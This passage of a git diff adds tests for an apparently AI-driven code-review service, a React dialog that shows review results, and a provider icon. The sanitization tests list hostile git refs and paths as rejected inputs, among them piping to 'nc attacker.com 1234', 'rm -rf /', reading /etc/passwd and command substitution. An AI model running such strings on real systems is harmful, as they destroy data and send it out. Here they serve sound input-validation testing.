vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: null, + codex: null, + cursor: null, + coderabbit: null, + opencode: null, + }); + + const result = await service.getBestProvider(); + + expect(result).toBeNull(); + }); + + it('should skip unauthenticated providers', async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: false, version: '1.0.0' }, + issues: ['Not authenticated'], + }, + codex: { + detected: true, + cli: { installed: true, authenticated: true, version: '0.5.0' }, + issues: [], + }, + cursor: null, + coderabbit: null, + opencode: null, + }); + + const result = await service.getBestProvider(); + + expect(result).toBe('codex'); + }); + }); + + describe('executeReview - security', () => { + describe('git ref sanitization', () => { + it('should accept valid git refs', async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true }, + issues: [], + }, + codex: null, + cursor: null, + coderabbit: null, + opencode: null, + }); + + // Return a fresh mock process for each spawn call + vi.mocked(spawn).mockImplementation(() => createMockChildProcess({ stdout: '' })); + // Mock getBestProvider to avoid async issues + vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude'); + + // These should not throw + const validRefs = ['HEAD', 'HEAD~1', 'HEAD~10', 'main', 'feature/test', 'v1.0.0', 'abc123']; + + for (const ref of validRefs) { + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: ref, + }); + expect(result.verdict).toBe('approved'); + } + }); + + it('should reject git refs that are too long', async () => { + const longRef = 'a'.repeat(300); + + await expect( + service.executeReview({ + projectPath: '/test/project', + baseRef: longRef, + }) + ).rejects.toThrow('Git reference is too long'); + }); + + it('should reject empty git refs', async () => { + await expect( + service.executeReview({ + projectPath: '/test/project', + baseRef: ' ', + }) + ).rejects.toThrow('Git reference cannot be empty'); + }); + + it('should reject git refs with path traversal', async () => { + await expect( + service.executeReview({ + projectPath: '/test/project', + baseRef: '../etc/passwd', + }) + ).rejects.toThrow('Git reference contains invalid characters'); + }); + + it('should reject git refs starting with dash (flag injection)', async () => { + await expect( + service.executeReview({ + projectPath: '/test/project', + baseRef: '--exec=rm -rf /', + }) + ).rejects.toThrow('Git reference contains invalid characters'); + }); + + it('should reject git refs with shell metacharacters', async () => { + const maliciousRefs = [ + 'HEAD; rm -rf /', + 'HEAD && cat /etc/passwd', + 'HEAD | nc attacker.com 1234', + 'HEAD`whoami`', + 'HEAD$(whoami)', + ]; + + for (const ref of maliciousRefs) { + await expect( + service.executeReview({ + projectPath: '/test/project', + baseRef: ref, + }) + ).rejects.toThrow('Git reference contains invalid characters'); + } + }); + + it('should reject git refs with whitespace', async () => { + await expect( + service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD --version', + }) + ).rejects.toThrow('Git reference contains invalid characters'); + }); + }); + + describe('file path sanitization', () => { + it('should reject absolute paths', async () => { + await expect( + service.executeReview({ + projectPath: '/test/project', + files: ['/etc/passwd'], + }) + ).rejects.toThrow('Absolute file paths are not allowed'); + }); + + it('should reject Windows absolute paths', async () => { + await expect( + service.executeReview({ + projectPath: '/test/project', + files: ['C:\\Windows\\System32\\config'], + }) + ).rejects.toThrow('Absolute file paths are not allowed'); + }); + + it('should reject path traversal in files', async () => { + await expect( + service.executeReview({ + projectPath: '/test/project', + files: ['../../../etc/passwd'], + }) + ).rejects.toThrow('Path traversal is not allowed'); + }); + + it('should reject files with null bytes', async () => { + await expect( + service.executeReview({ + projectPath: '/test/project', + files: ['file.txt\x00.exe'], + }) + ).rejects.toThrow('File path contains invalid characters'); + }); + + it('should reject too many files (DoS prevention)', async () => { + const tooManyFiles = Array.from({ length: 150 }, (_, i) => `file${i}.ts`); + + await expect( + service.executeReview({ + projectPath: '/test/project', + files: tooManyFiles, + }) + ).rejects.toThrow('Too many files specified. Maximum is 100'); + }); + + it('should accept valid relative paths', async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true }, + issues: [], + }, + codex: null, + cursor: null, + coderabbit: null, + opencode: null, + }); + + // Return fresh mock process for each spawn call (worktree detection + git diff) + vi.mocked(spawn).mockImplementation(() => + createMockChildProcess({ stdout: 'diff content' }) + ); + // Mock getBestProvider to avoid async issues + vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude'); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: '```json\n{"verdict": "approved", "summary": "LGTM", "comments": []}\n```', + stopReason: 'end_turn', + }); + + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + files: ['src/index.ts', 'src/components/Button.tsx'], + }); + + expect(result.verdict).toBe('approved'); + }); + }); + }); + + describe('executeReview - execution', () => { + beforeEach(async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true }, + issues: [], + }, + codex: null, + cursor: null, + coderabbit: null, + opencode: null, + }); + // Initialize provider cache to avoid async issues + await service.initialize(); + // Mock getBestProvider to return 'claude' directly to avoid async issues + vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude'); + }); + + it('should return empty result when no files changed', async () => { + const mockProcess = createMockChildProcess({ stdout: '' }); + vi.mocked(spawn).mockReturnValue(mockProcess); + + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }); + + expect(result.verdict).toBe('approved'); + expect(result.summary).toBe('No changes to review.'); + expect(result.comments).toEqual([]); + expect(mockEvents.emit).toHaveBeenCalledWith( + 'code_review:event', + expect.objectContaining({ + type: 'code_review_start', + }) + ); + expect(mockEvents.emit).toHaveBeenCalledWith( + 'code_review:event', + expect.objectContaining({ + type: 'code_review_complete', + }) + ); + }); + + it('should execute review and parse JSON response', async () => { + // Create mock processes inside mockImplementation to ensure events emit after listeners attach + let spawnCallCount = 0; + vi.mocked(spawn).mockImplementation(() => { + spawnCallCount++; + return spawnCallCount === 1 + ? createMockChildProcess({ stdout: 'src/index.ts\nsrc/utils.ts\n' }) + : createMockChildProcess({ stdout: 'diff --git a/src/index.ts...' }); + }); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: `\`\`\`json +{ + "verdict": "changes_requested", + "summary": "Found security issue", + "comments": [ + { + "filePath": "src/index.ts", + "startLine": 10, + "endLine": 15, + "body": "SQL injection vulnerability detected", + "severity": "critical", + "category": "security", + "suggestedFix": "Use parameterized queries" + } + ] +} +\`\`\``, + stopReason: 'end_turn', + }); + + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }); + + expect(result.verdict).toBe('changes_requested'); + expect(result.comments).toHaveLength(1); + expect(result.comments[0].severity).toBe('critical'); + expect(result.comments[0].category).toBe('security'); + expect(result.filesReviewed).toEqual(['src/index.ts', 'src/utils.ts']); + }); + + it('should emit code_review_comment events for each comment', async () => { + // Create mock processes inside mockImplementation to ensure events emit after listeners attach + let spawnCallCount = 0; + vi.mocked(spawn).mockImplementation(() => { + spawnCallCount++; + return spawnCallCount === 1 + ? createMockChildProcess({ stdout: 'src/index.ts\n' }) + : createMockChildProcess({ stdout: 'diff content' }); + }); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: `\`\`\`json +{ + "verdict": "approved", + "summary": "Minor improvements suggested", + "comments": [ + { + "filePath": "src/index.ts", + "startLine": 5, + "body": "Consider using const", + "severity": "low", + "category": "code_quality" + }, + { + "filePath": "src/index.ts", + "startLine": 20, + "body": "Add error handling", + "severity": "medium", + "category": "implementation" + } + ] +} +\`\`\``, + stopReason: 'end_turn', + }); + + await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }); + + // Should emit 2 code_review_comment events (one for each comment) + const commentEvents = mockEvents.emit.mock.calls.filter( + (call) => call[1]?.type === 'code_review_comment' + ); + expect(commentEvents).toHaveLength(2); + }); + + it('should handle git diff error gracefully', async () => { + const errorProcess = createMockChildProcess({ + stderr: 'fatal: not a git repository', + exitCode: 128, + }); + vi.mocked(spawn).mockReturnValue(errorProcess); + + await expect( + service.executeReview({ + projectPath: '/not-a-git-repo', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }) + ).rejects.toThrow('Failed to get changed files from git'); + + expect(mockEvents.emit).toHaveBeenCalledWith( + 'code_review:event', + expect.objectContaining({ + type: 'code_review_error', + }) + ); + }); + + it('should handle spawn error', async () => { + const errorProcess = createMockChildProcess({ + shouldError: true, + }); + vi.mocked(spawn).mockReturnValue(errorProcess); + + await expect( + service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }) + ).rejects.toThrow('Failed to execute git command'); + }); + + it('should fallback to text when JSON parsing fails', async () => { + // Create mock processes inside mockImplementation to ensure events emit after listeners attach + let spawnCallCount = 0; + vi.mocked(spawn).mockImplementation(() => { + spawnCallCount++; + return spawnCallCount === 1 + ? createMockChildProcess({ stdout: 'src/index.ts\n' }) + : createMockChildProcess({ stdout: 'diff content' }); + }); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: 'This is a plain text review without JSON formatting', + stopReason: 'end_turn', + }); + + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }); + + expect(result.comments).toHaveLength(1); + expect(result.comments[0].body).toBe('This is a plain text review without JSON formatting'); + expect(result.comments[0].severity).toBe('info'); + expect(mockLogger.warn).toHaveBeenCalledWith( + 'Failed to parse review JSON, falling back to text extraction', + expect.any(Object) + ); + }); + }); + + describe('verdict determination', () => { + beforeEach(() => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true }, + issues: [], + }, + codex: null, + cursor: null, + coderabbit: null, + opencode: null, + }); + // Mock getBestProvider to return 'claude' directly to avoid async issues + vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude'); + }); + + it('should return changes_requested for critical issues', async () => { + // Create mock processes inside mockImplementation to ensure events emit after listeners attach + let spawnCallCount = 0; + vi.mocked(spawn).mockImplementation(() => { + spawnCallCount++; + return spawnCallCount === 1 + ? createMockChildProcess({ stdout: 'src/index.ts\n' }) + : createMockChildProcess({ stdout: 'diff content' }); + }); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: `\`\`\`json +{ + "verdict": "approved", + "summary": "test", + "comments": [ + { + "filePath": "src/index.ts", + "startLine": 1, + "body": "Critical issue", + "severity": "critical", + "category": "security" + } + ] +} +\`\`\``, + stopReason: 'end_turn', + }); + + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }); + + expect(result.verdict).toBe('changes_requested'); + }); + + it('should return needs_discussion for high severity issues', async () => { + // Create mock processes inside mockImplementation to ensure events emit after listeners attach + let spawnCallCount = 0; + vi.mocked(spawn).mockImplementation(() => { + spawnCallCount++; + return spawnCallCount === 1 + ? createMockChildProcess({ stdout: 'src/index.ts\n' }) + : createMockChildProcess({ stdout: 'diff content' }); + }); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: `\`\`\`json +{ + "verdict": "approved", + "summary": "test", + "comments": [ + { + "filePath": "src/index.ts", + "startLine": 1, + "body": "High issue", + "severity": "high", + "category": "performance" + } + ] +} +\`\`\``, + stopReason: 'end_turn', + }); + + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }); + + expect(result.verdict).toBe('needs_discussion'); + }); + + it('should return approved for medium/low/info issues only', async () => { + // Create mock processes inside mockImplementation to ensure events emit after listeners attach + let spawnCallCount = 0; + vi.mocked(spawn).mockImplementation(() => { + spawnCallCount++; + return spawnCallCount === 1 + ? createMockChildProcess({ stdout: 'src/index.ts\n' }) + : createMockChildProcess({ stdout: 'diff content' }); + }); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: `\`\`\`json +{ + "verdict": "changes_requested", + "summary": "test", + "comments": [ + { + "filePath": "src/index.ts", + "startLine": 1, + "body": "Medium issue", + "severity": "medium", + "category": "code_quality" + }, + { + "filePath": "src/index.ts", + "startLine": 10, + "body": "Low issue", + "severity": "low", + "category": "documentation" + } + ] +} +\`\`\``, + stopReason: 'end_turn', + }); + + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }); + + expect(result.verdict).toBe('approved'); + }); + }); + + describe('summary building', () => { + beforeEach(async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true }, + issues: [], + }, + codex: null, + cursor: null, + coderabbit: null, + opencode: null, + }); + // Initialize provider cache to avoid async issues + await service.initialize(); + // Mock getBestProvider to return 'claude' directly to avoid async issues + vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude'); + }); + + it('should build correct summary stats', async () => { + // Create mock processes inside mockImplementation to ensure events emit after listeners attach + let spawnCallCount = 0; + vi.mocked(spawn).mockImplementation(() => { + spawnCallCount++; + return spawnCallCount === 1 + ? createMockChildProcess({ stdout: 'src/index.ts\nsrc/utils.ts\n' }) + : createMockChildProcess({ stdout: 'diff content' }); + }); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: `\`\`\`json +{ + "verdict": "approved", + "summary": "test", + "comments": [ + { "filePath": "src/index.ts", "startLine": 1, "body": "Critical", "severity": "critical", "category": "security" }, + { "filePath": "src/index.ts", "startLine": 2, "body": "High", "severity": "high", "category": "performance" }, + { "filePath": "src/index.ts", "startLine": 3, "body": "Medium", "severity": "medium", "category": "code_quality" }, + { "filePath": "src/utils.ts", "startLine": 1, "body": "Low", "severity": "low", "category": "testing" }, + { "filePath": "src/utils.ts", "startLine": 2, "body": "Info", "severity": "info", "category": "documentation" } + ] +} +\`\`\``, + stopReason: 'end_turn', + }); + + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }); + + expect(result.stats.totalComments).toBe(5); + expect(result.stats.bySeverity).toEqual({ + critical: 1, + high: 1, + medium: 1, + low: 1, + info: 1, + }); + expect(result.stats.byCategory.security).toBe(1); + expect(result.stats.byCategory.performance).toBe(1); + expect(result.stats.byCategory.code_quality).toBe(1); + expect(result.stats.byCategory.testing).toBe(1); + expect(result.stats.byCategory.documentation).toBe(1); + }); + + it('should generate human-readable summary text', async () => { + // Create mock processes inside mockImplementation to ensure events emit after listeners attach + let spawnCallCount = 0; + vi.mocked(spawn).mockImplementation(() => { + spawnCallCount++; + return spawnCallCount === 1 + ? createMockChildProcess({ stdout: 'src/index.ts\nsrc/utils.ts\n' }) + : createMockChildProcess({ stdout: 'diff content' }); + }); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: `\`\`\`json +{ + "verdict": "approved", + "summary": "test", + "comments": [ + { "filePath": "src/index.ts", "startLine": 1, "body": "Critical", "severity": "critical", "category": "security" }, + { "filePath": "src/index.ts", "startLine": 2, "body": "Medium", "severity": "medium", "category": "code_quality" } + ] +} +\`\`\``, + stopReason: 'end_turn', + }); + + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }); + + expect(result.summary).toContain('2 comment'); + expect(result.summary).toContain('2 file'); + expect(result.summary).toContain('1 critical'); + expect(result.summary).toContain('1 medium'); + }); + }); + + describe('severity and category validation', () => { + beforeEach(async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true }, + issues: [], + }, + codex: null, + cursor: null, + coderabbit: null, + opencode: null, + }); + // Initialize provider cache to avoid async issues + await service.initialize(); + // Mock getBestProvider to return 'claude' directly to avoid async issues + vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude'); + }); + + it('should normalize invalid severity to medium', async () => { + // Create mock processes inside mockImplementation to ensure events emit after listeners attach + let spawnCallCount = 0; + vi.mocked(spawn).mockImplementation(() => { + spawnCallCount++; + return spawnCallCount === 1 + ? createMockChildProcess({ stdout: 'src/index.ts\n' }) + : createMockChildProcess({ stdout: 'diff content' }); + }); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: `\`\`\`json +{ + "verdict": "approved", + "summary": "test", + "comments": [ + { "filePath": "src/index.ts", "startLine": 1, "body": "Test", "severity": "invalid_severity", "category": "security" } + ] +} +\`\`\``, + stopReason: 'end_turn', + }); + + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }); + + expect(result.comments[0].severity).toBe('medium'); + }); + + it('should normalize invalid category to code_quality', async () => { + // Create mock processes inside mockImplementation to ensure events emit after listeners attach + let spawnCallCount = 0; + vi.mocked(spawn).mockImplementation(() => { + spawnCallCount++; + return spawnCallCount === 1 + ? createMockChildProcess({ stdout: 'src/index.ts\n' }) + : createMockChildProcess({ stdout: 'diff content' }); + }); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: `\`\`\`json +{ + "verdict": "approved", + "summary": "test", + "comments": [ + { "filePath": "src/index.ts", "startLine": 1, "body": "Test", "severity": "medium", "category": "invalid_category" } + ] +} +\`\`\``, + stopReason: 'end_turn', + }); + + const result = await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + }); + + expect(result.comments[0].category).toBe('code_quality'); + }); + }); + + describe('categories focus', () => { + beforeEach(async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true }, + issues: [], + }, + codex: null, + cursor: null, + coderabbit: null, + opencode: null, + }); + // Initialize provider cache to avoid async issues + await service.initialize(); + // Mock getBestProvider to return 'claude' directly to avoid async issues + vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude'); + }); + + it('should include categories in prompt when specified', async () => { + // Create mock processes inside mockImplementation to ensure events emit after listeners attach + let spawnCallCount = 0; + vi.mocked(spawn).mockImplementation(() => { + spawnCallCount++; + return spawnCallCount === 1 + ? createMockChildProcess({ stdout: 'src/index.ts\n' }) + : createMockChildProcess({ stdout: 'diff content' }); + }); + + vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({ + text: `\`\`\`json +{"verdict": "approved", "summary": "test", "comments": []} +\`\`\``, + stopReason: 'end_turn', + }); + + await service.executeReview({ + projectPath: '/test/project', + baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection + categories: ['security', 'performance'], + }); + + expect(simpleQueryService.streamingQuery).toHaveBeenCalledWith( + expect.objectContaining({ + prompt: expect.stringContaining('security, performance'), + }) + ); + }); + }); +}); diff --git a/apps/ui/src/components/dialogs/code-review-dialog.tsx b/apps/ui/src/components/dialogs/code-review-dialog.tsx new file mode 100644 index 00000000..cba51f72 --- /dev/null +++ b/apps/ui/src/components/dialogs/code-review-dialog.tsx @@ -0,0 +1,755 @@ +/** + * CodeReviewDialog Component + * + * A dialog for displaying code review results from automated code analysis. + * Shows the review verdict, summary, and detailed comments organized by severity. + */ + +import { useMemo, useState } from 'react'; +import { + CheckCircle2, + AlertTriangle, + MessageSquare, + FileCode, + Copy, + Check, + AlertCircle, + Info, + ChevronDown, + ChevronRight, + Sparkles, + Clock, + Wrench, + RotateCcw, +} from 'lucide-react'; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, +} from '@/components/ui/dialog'; +import { Button } from '@/components/ui/button'; +import { Badge } from '@/components/ui/badge'; +import { ScrollArea } from '@/components/ui/scroll-area'; +import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs'; +import { + Accordion, + AccordionContent, + AccordionItem, + AccordionTrigger, +} from '@/components/ui/accordion'; +import { cn } from '@/lib/utils'; +import type { + CodeReviewResult, + CodeReviewComment, + CodeReviewSeverity, + CodeReviewCategory, + CodeReviewVerdict, +} from '@automaker/types'; + +// ============================================================================ +// Types +// ============================================================================ + +export interface CodeReviewDialogProps { + /** Whether the dialog is open */ + open: boolean; + /** Callback when open state changes */ + onOpenChange: (open: boolean) => void; + /** The code review result to display */ + review: CodeReviewResult | null; + /** Optional loading state */ + loading?: boolean; + /** Optional error message */ + error?: string | null; + /** Optional callback when user wants to retry */ + onRetry?: () => void; +} + +// ============================================================================ +// Constants & Helpers +// ============================================================================ + +const SEVERITY_CONFIG: Record< + CodeReviewSeverity, + { label: string; variant: 'error' | 'warning' | 'info' | 'muted'; icon: typeof AlertCircle } +> = { + critical: { label: 'Critical', variant: 'error', icon: AlertCircle }, + high: { label: 'High', variant: 'error', icon: AlertTriangle }, + medium: { label: 'Medium', variant: 'warning', icon: AlertTriangle }, + low: { label: 'Low', variant: 'info', icon: Info }, + info: { label: 'Info', variant: 'muted', icon: Info }, +}; + +const SEVERITY_ORDER: CodeReviewSeverity[] = ['critical', 'high', 'medium', 'low', 'info']; + +const CATEGORY_LABELS: Record = { + tech_stack: 'Tech Stack', + security: 'Security', + code_quality: 'Code Quality', + implementation: 'Implementation', + architecture: 'Architecture', + performance: 'Performance', + testing: 'Testing', + documentation: 'Documentation', +}; + +const VERDICT_CONFIG: Record< + CodeReviewVerdict, + { label: string; variant: 'success' | 'warning' | 'info'; icon: typeof CheckCircle2 } +> = { + approved: { label: 'Approved', variant: 'success', icon: CheckCircle2 }, + changes_requested: { label: 'Changes Requested', variant: 'warning', icon: AlertTriangle }, + needs_discussion: { label: 'Needs Discussion', variant: 'info', icon: MessageSquare }, +}; + +function formatDuration(ms: number): string { + if (ms < 1000) return `${ms}ms`; + const seconds = Math.floor(ms / 1000); + if (seconds < 60) return `${seconds}s`; + const minutes = Math.floor(seconds / 60); + const remainingSeconds = seconds % 60; + return `${minutes}m ${remainingSeconds}s`; +} + +// ============================================================================ +// Sub-components +// ============================================================================ + +interface VerdictBadgeProps { + verdict: CodeReviewVerdict; + className?: string; +} + +function VerdictBadge({ verdict, className }: VerdictBadgeProps) { + const config = VERDICT_CONFIG[verdict]; + const Icon = config.icon; + + return ( + + + {config.label} + + ); +} + +interface SeverityBadgeProps { + severity: CodeReviewSeverity; + count?: number; + className?: string; +} + +function SeverityBadge({ severity, count, className }: SeverityBadgeProps) { + const config = SEVERITY_CONFIG[severity]; + const Icon = config.icon; + + return ( + + + {config.label} + {count !== undefined && count > 0 && ({count})} + + ); +} + +interface CategoryBadgeProps { + category: CodeReviewCategory; + className?: string; +} + +function CategoryBadge({ category, className }: CategoryBadgeProps) { + return ( + + {CATEGORY_LABELS[category]} + + ); +} + +interface CommentCardProps { + comment: CodeReviewComment; + defaultExpanded?: boolean; +} + +function CommentCard({ comment, defaultExpanded = false }: CommentCardProps) { + const [expanded, setExpanded] = useState(defaultExpanded); + const [copied, setCopied] = useState(false); + const commentId = `comment-${comment.id}`; + + const lineRange = + comment.startLine === comment.endLine + ? `Line ${comment.startLine}` + : `Lines ${comment.startLine}-${comment.endLine}`; + + const handleCopyCode = async () => { + if (comment.suggestedCode) { + await navigator.clipboard.writeText(comment.suggestedCode); + setCopied(true); + setTimeout(() => setCopied(false), 2000); + } + }; + + return ( +
+ {/* Header - accessible expand/collapse button */} + + + {/* Expanded content */} + {expanded && ( +
+ {/* Full body */} +
+

{comment.body}

+
+ + {/* Suggested fix */} + {comment.suggestedFix && ( +
+
+
+
+

{comment.suggestedFix}

+
+
+ )} + + {/* Suggested code */} + {comment.suggestedCode && ( +
+
+
+ Suggested Code + +
+ 
+                  {comment.suggestedCode}
+
+
+
+ )} +
+ )} +
+ ); +} + +interface StatsOverviewProps { + review: CodeReviewResult; +} + +function StatsOverview({ review }: StatsOverviewProps) { + const { stats } = review; + + return ( +
+ {SEVERITY_ORDER.map((severity) => { + const count = stats.bySeverity[severity] || 0; + if (count === 0) return null; + return ; + })} + {stats.autoFixedCount > 0 && ( + + + {stats.autoFixedCount} auto-fixed + + )} +
+ ); +} + +// ============================================================================ +// Main Component +// ============================================================================ + +export function CodeReviewDialog({ + open, + onOpenChange, + review, + loading = false, + error = null, + onRetry, +}: CodeReviewDialogProps) { + const [activeTab, setActiveTab] = useState<'severity' | 'file'>('severity'); + + // Group comments by severity + const commentsBySeverity = useMemo(() => { + if (!review) return {}; + const grouped: Partial> = {}; + for (const comment of review.comments) { + if (!grouped[comment.severity]) { + grouped[comment.severity] = []; + } + grouped[comment.severity]!.push(comment); + } + return grouped; + }, [review]); + + // Group comments by file + const commentsByFile = useMemo(() => { + if (!review) return {}; + const grouped: Record = {}; + for (const comment of review.comments) { + if (!grouped[comment.filePath]) { + grouped[comment.filePath] = []; + } + grouped[comment.filePath].push(comment); + } + // Sort comments within each file by line number + Object.values(grouped).forEach((comments) => { + comments.sort((a, b) => a.startLine - b.startLine); + }); + return grouped; + }, [review]); + + // Render loading state with improved skeleton and progress + if (loading) { + return ( + + + + + + + Analyzing your code for best practices, security, and performance issues... + + + + {/* Loading skeleton with spinner and placeholders */} +
+ {/* Spinner and status */} +
+
+
+

Running code review...

+
+
+ + {/* Skeleton placeholders for expected content */} +
+ {/* Verdict skeleton */} +
+
+
+
+ + {/* Summary skeleton */} +
+
+
+
+
+
+
+
+
+ + {/* Comments skeleton */} +
+
+
+
+
+
+ + + + + +
+ ); + } + + // Render error state with improved accessibility + if (error) { + return ( + + + + + + + Something went wrong during the code review. + + +
+

+ {error} +

+
+ + + {onRetry && ( + + )} + + + + ); + } + + // Render empty state with helpful guidance + if (!review) { + return ( + + + + + + No review results available yet. + +
+
+ + + + + + ); + } + + return ( + + + {/* Header */} + +
+
+ + + + Reviewed {review.filesReviewed.length} file + {review.filesReviewed.length !== 1 ? 's' : ''} + {review.gitRef && ( + + ({review.gitRef.slice(0, 7)}) + + )} + +
+ +
+ + + {/* Summary section */} +
+ {/* Summary text */} +

{review.summary}

+ + {/* Stats and metadata */} +
+ + + {review.durationMs && ( +
+
+ )} +
+
+ + {/* Comments section */} + {review.comments.length > 0 ? ( +
+ setActiveTab(v as 'severity' | 'file')} + className="flex-1 flex flex-col min-h-0" + > + + By Severity + By File + + + + + + {SEVERITY_ORDER.map((severity) => { + const comments = commentsBySeverity[severity]; + if (!comments || comments.length === 0) return null; + + const config = SEVERITY_CONFIG[severity]; + const Icon = config.icon; + + return ( + + +
+ + {config.label} + + {comments.length} + +
+ + +
+ {comments.map((comment) => ( + + ))} +
+ + + ); + })} + + + + + + + + {Object.entries(commentsByFile).map(([filePath, comments]) => { + // Determine the highest severity in this file + const highestSeverity = comments.reduce((highest, comment) => { + const currentIndex = SEVERITY_ORDER.indexOf(comment.severity); + const highestIndex = SEVERITY_ORDER.indexOf(highest); + return currentIndex < highestIndex ? comment.severity : highest; + }, 'info' as CodeReviewSeverity); + + const severityConfig = SEVERITY_CONFIG[highestSeverity]; + const Icon = severityConfig.icon; + + return ( + + +
+ + + {filePath} + + + + {comments.length} + +
+ + +
+ {comments.map((comment) => ( + + ))} +
+ + + ); + })} + + + + +
+ ) : ( +
+
+
+
+

No issues found!

+

+ Your code looks great. The review found no issues, suggestions, or improvements + needed. +

+
+
+ )} + + {/* Footer */} + + + + + + ); +} diff --git a/apps/ui/src/components/dialogs/index.ts b/apps/ui/src/components/dialogs/index.ts index dd2597f5..0f648989 100644 --- a/apps/ui/src/components/dialogs/index.ts +++ b/apps/ui/src/components/dialogs/index.ts @@ -1,4 +1,6 @@ export { BoardBackgroundModal } from './board-background-modal'; +export { CodeReviewDialog } from './code-review-dialog'; +export type { CodeReviewDialogProps } from './code-review-dialog'; export { DeleteAllArchivedSessionsDialog } from './delete-all-archived-sessions-dialog'; export { DeleteSessionDialog } from './delete-session-dialog'; export { FileBrowserDialog } from './file-browser-dialog'; diff --git a/apps/ui/src/components/ui/provider-icon.tsx b/apps/ui/src/components/ui/provider-icon.tsx index a62254c7..cbe2f49b 100644 --- a/apps/ui/src/components/ui/provider-icon.tsx +++ b/apps/ui/src/components/ui/provider-icon.tsx @@ -19,6 +19,7 @@ const PROVIDER_ICON_KEYS = { minimax: 'minimax', glm: 'glm', bigpickle: 'bigpickle', + coderabbit: 'coderabbit', } as const; type ProviderIconKey = keyof typeof PROVIDER_ICON_KEYS; @@ -113,6 +114,12 @@ const PROVIDER_ICON_DEFINITIONS: Record path: 'M8 4c-2.21 0-4 1.79-4 4v8c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4H8zm0 2h8c1.103 0 2 .897 2 2v8c0 1.103-.897 2-2 2H8c-1.103 0-2-.897-2-2V8c0-1.103.897-2 2-2zm2 3a1 1 0 100 2 1 1 0 000-2zm4 0a1 1 0 100 2 1 1 0 000-2zm-4 4a1 1 0 100 2 1 1 0 000-2zm4 0a1 1 0 100 2 1 1 0 000-2z', fill: '#4ADE80', }, + coderabbit: { + viewBox: '0 0 24 24', + // CodeRabbit logo - rabbit/bunny icon + path: 'M18 4a2 2 0 0 0-2-2c-.9 0-1.7.6-1.9 1.5l-.3 1.1c-.2.6-.7 1-1.3 1.2L12 6l-.5-.2c-.6-.2-1.1-.6-1.3-1.2l-.3-1.1C9.7 2.6 8.9 2 8 2a2 2 0 0 0-2 2c0 .7.4 1.4 1 1.7V7c0 1.1.9 2 2 2h1v2H8.5C6 11 4 13 4 15.5V18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-2.5c0-2.5-2-4.5-4.5-4.5H14V9h1c1.1 0 2-.9 2-2V5.7c.6-.3 1-1 1-1.7zm-8 9h4c1.1 0 2 .9 2 2v1H8v-1c0-1.1.9-2 2-2z', + fill: '#FF6B35', + }, }; export interface ProviderIconProps extends Omit, 'viewBox'> { @@ 